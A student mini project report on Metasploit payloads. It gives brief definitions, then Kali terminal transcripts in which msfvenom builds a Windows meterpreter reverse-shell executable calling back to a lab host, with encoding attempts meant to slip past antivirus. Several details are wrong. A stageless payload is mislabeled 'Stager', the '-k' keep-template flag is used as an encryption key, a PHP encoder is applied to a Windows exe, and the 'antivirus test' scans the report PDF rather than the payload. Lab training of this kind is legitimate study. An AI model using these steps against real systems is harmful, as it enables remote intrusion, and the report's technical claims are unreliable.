

Mini Project
on



Payload

Chavan Apurva Ramkrushna

What is Payload?

Payload is a malicious program that performs the harmful action after it has been delivered to a target system. It can steal data, damage files, install ransomware, or open backdoors. While the malware delivers the attack, the payload is the actual malicious effect.

Types of Payload:

1. Stager Payload

- The entire payload is delivered at once, in a single package.
- Easier to deploy, but larger in size.
- Doesn't need to download anything later.

2. Staged Payload

- A staged payload is split into multiple parts.
- The initial part (called a stager) is small and designed to fit into limited space.
- The stager connects back to the attacker's system and downloads the rest of the payload.
- Used when there's limited space or stealth is needed.

Techniques in Payload

1. Reverse Shell:

Connects to largest system and provide Remote Access

2. Bind Shell:

Attackers will be taking the access on any open ports to connect

3. Meterpreter:

Meta-Interpreter

Advanced Features used for Registry modification, file manipulation, system command

4. Command Shell:

Basic technique used to provide command access

5. DLL (Dynamic Link Library) Injection:

Technique used to inject a malicious code on DLL

Library X

Type here to sea... ▼

My Computer

- Metasploitable2
- Kali 2024 x64 Cus

Home XMy Computer XKali 2024 x64 Customized by... X

(kali@kali)-[~]

\$ msfvenom --help

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:

-l, --list	<type>	List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload	<payload>	Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options		List --payload <value>'s standard, advanced and evasion options
-f, --format	<format>	Output format (use --list formats to list)
-e, --encoder	<encoder>	The encoder to use (use --list encoders to list)
--service-name	<value>	The service name to use when generating a service binary
--sec-name	<value>	The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest		Generate the smallest possible payload using all available encoders
--encrypt	<value>	The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key	<value>	A key to be used for --encrypt
--encrypt-iv	<value>	An initialization vector for --encrypt
-a, --arch	<arch>	The architecture to use for --payload and --encoders (use --list archs to list)
--platform	<platform>	The platform for --payload (use --list platforms to list)
-o, --out	<path>	Save the payload to a file
-b, --bad-chars	<list>	Characters to avoid example: '\x00\xff'
-n, --nopsled	<length>	Prepend a nopsled of [length] size on to the payload
--pad-nops		Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space	<length>	The maximum size of the resulting payload
--encoder-space	<length>	The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations	<count>	The number of times to encode the payload
-c, --add-code	<path>	Specify an additional win32 shellcode file to include
-x, --template	<path>	Specify a custom executable file to use as a template
-k, --keep		Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name	<value>	Specify a custom variable name to use for certain output formats
-t, --timeout	<second>	The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help		Show this message

Selecting the payload

```
(kali@kali)-[~]
$ msfvenom -l payloads

Framework Payloads (1468 total) [--payload <value>]
=====
```

Name	Description
----	-----
aix/ppc/shell_bind_tcp	Listen for a connection and spawn a command shell
aix/ppc/shell_find_port	Spawn a shell on an established connection
aix/ppc/shell_interact	Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp	Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http	Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https	Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp	Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http	Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https	Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp	Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http	Spawn a piped command shell (sh). Tunnel communication over HTTP
android/shell/reverse_https	Spawn a piped command shell (sh). Tunnel communication over HTTPS
android/shell/reverse_tcp	Spawn a piped command shell (sh). Connect back stager
apple_ios/aarch64/meterpreter_reverse_http	Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https	Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp	Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/shell_reverse_tcp	Connect back to attacker and spawn a command shell
apple_ios/armle/meterpreter_reverse_http	Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https	Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp	Run the Meterpreter / Mettle server payload (stageless)
bsd/sparc/shell_bind_tcp	Listen for a connection and spawn a command shell
bsd/sparc/shell_reverse_tcp	Connect back to attacker and spawn a command shell
bsd/vax/shell_reverse_tcp	Connect back to attacker and spawn a command shell
bsd/x64/exec	Execute an arbitrary command
bsd/x64/shell_bind_ipv6_tcp	Listen for a connection and spawn a command shell over IPv6
bsd/x64/shell_bind_tcp	Bind an arbitrary command to an arbitrary port
bsd/x64/shell_bind_tcp_small	Listen for a connection and spawn a command shell
bsd/x64/shell_reverse_ipv6_tcp	Connect back to attacker and spawn a command shell over IPv6
bsd/x64/shell_reverse_tcp	Connect back to attacker and spawn a command shell
bsd/x64/shell_reverse_tcp_small	Connect back to attacker and spawn a command shell
bsd/x86/exec	Execute an arbitrary command
bsd/x86/metsvc_bind_tcp	Stub payload for interacting with a Meterpreter Service
bsd/x86/metsvc_reverse_tcp	Stub payload for interacting with a Meterpreter Service
bsd/x86/shell/bind_ipv6_tcp	Spawn a command shell (staged). Listen for a connection over IPv6
bsd/x86/shell/bind_tcp	Spawn a command shell (staged). Listen for a connection

Creating a payload

```
(kali@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.80.129 netmask 255.255.255.0 broadcast 192.168.80.255  
    inet6 fe80::20c:29ff:fe47:d010 prefixlen 64 scopeid 0x20<link>  
    ether 00:0c:29:47:d0:10 txqueuelen 1000 (Ethernet)  
    RX packets 111 bytes 18939 (18.4 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 60 bytes 11538 (11.2 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  
    device interrupt 19 base 0x2000  
  
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536  
    inet 127.0.0.1 netmask 255.0.0.0  
    inet6 ::1 prefixlen 128 scopeid 0x10<host>  
    loop txqueuelen 1000 (Local Loopback)  
    RX packets 24 bytes 1440 (1.4 KiB)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 24 bytes 1440 (1.4 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
(kali@kali)-[~]  
$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8088 -f exe > testpayload.exe  
[sudo] password for kali:  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
No encoder specified, outputting raw payload  
Payload size: 510 bytes  
Final size of exe file: 7168 bytes
```


Test in Antivirus



411a1fa36c50825c18162283710e07876ee9c8a355645d99b873ab7bb54ec1fa

Sign inSign up

0/63

Community Score

✓ No security vendors flagged this file as malicious

ReanalyzeSimilarMore

411a1fa36c50825c18162283710e07876ee9c8a355645d99b873ab7bb54ec1fa

Miniproject2_ApurvaChavan.pdf

pdf

Size31.05 MB

Last Analysis Datea moment ago

PDF

DETECTIONDETAILSBEHAVIORCOMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis ⓘ

Do you want to automate checks?

Acronis (Static ML)	✓ Undetected	AhnLab-V3	✓ Undetected
AliCloud	✓ Undetected	ALYac	✓ Undetected
Antiy-AVL	✓ Undetected	Arcabit	✓ Undetected
Avast	✓ Undetected	AVG	✓ Undetected
Avira (no cloud)	✓ Undetected	Baidu	✓ Undetected
BitDefender	✓ Undetected	Bkav Pro	✓ Undetected
BitDefender	✓ Undetected	Bkav Pro	✓ Undetected

Using encoders to test it again

```
(kali@kali)-[~]  
$ ls | grep test  
testpayload.exe
```

```
(kali@kali)-[~]  
$ msfvenom -l encoders
```

Framework Encoders [--encoder <value>]
=====

Name	Rank	Description
cmd/base64	good	Base64 Command Encoder
cmd/brace	low	Bash Brace Expansion Command Encoder
cmd/echo	good	Echo Command Encoder
cmd/generic_sh	manual	Generic Shell Variable Substitution Command Encoder
cmd/ifs	low	Bourne \${IFS} Substitution Command Encoder
cmd/perl	normal	Perl Command Encoder
cmd/powershell_base64	excellent	Powershell Base64 Command Encoder
cmd/printf_php_mq	manual	printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar	manual	The EICAR Encoder
generic/none	normal	The "none" Encoder
mipsbe/byte_xori	normal	Byte XORi Encoder
mipsbe/longxor	normal	XOR Encoder
mipsle/byte_xori	normal	Byte XORi Encoder
mipsle/longxor	normal	XOR Encoder
php/base64	great	PHP Base64 Encoder
ppc/longxor	normal	PPC LongXOR Encoder
ppc/longxor_tag	normal	PPC LongXOR Encoder
ruby/base64	great	Ruby Base64 Encoder
sparc/longxor_tag	normal	SPARC DWORD XOR Encoder
x64/xor	normal	XOR Encoder
x64/xor_context	normal	Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic	normal	Dynamic key XOR Encoder
x64/zutto_dekiru	manual	Zutto Dekiru
x86/add_sub	manual	Add/Sub Encoder
x86/alpha_mixed	low	Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper	low	Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower	manual	Avoid underscore/tolower
x86/avoid_utf8_tolower	manual	Avoid UTF8/tolower
x86/bloxor	manual	BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot	manual	BMP Polyglot
x86/call4_dword_xor	normal	Call+4 Dword XOR Encoder
x86/context_cpuid	manual	CPUID-based Context Keyed Payload Encoder

```
(kali㉿kali)-[~]  
$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8088 -e php/base64 -f exe > testpayload1.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
Found 1 compatible encoders  
Attempting to encode payload with 1 iterations of php/base64  
php/base64 succeeded with size 1013 (iteration=0)  
php/base64 chosen with final size 1013  
Payload size: 1013 bytes  
Final size of exe file: 7680 bytes
```


Using Encryption key to payload

```
(kali@kali)-[~]  
$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8088 -e php/base64 -f exe -k 'Payload*44' > testpayload1.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x64 from the payload  
Found 1 compatible encoders  
Attempting to encode payload with 1 iterations of php/base64  
php/base64 succeeded with size 1013 (iteration=0)  
php/base64 chosen with final size 1013  
Payload size: 1013 bytes  
Final size of exe file: 7680 bytes
```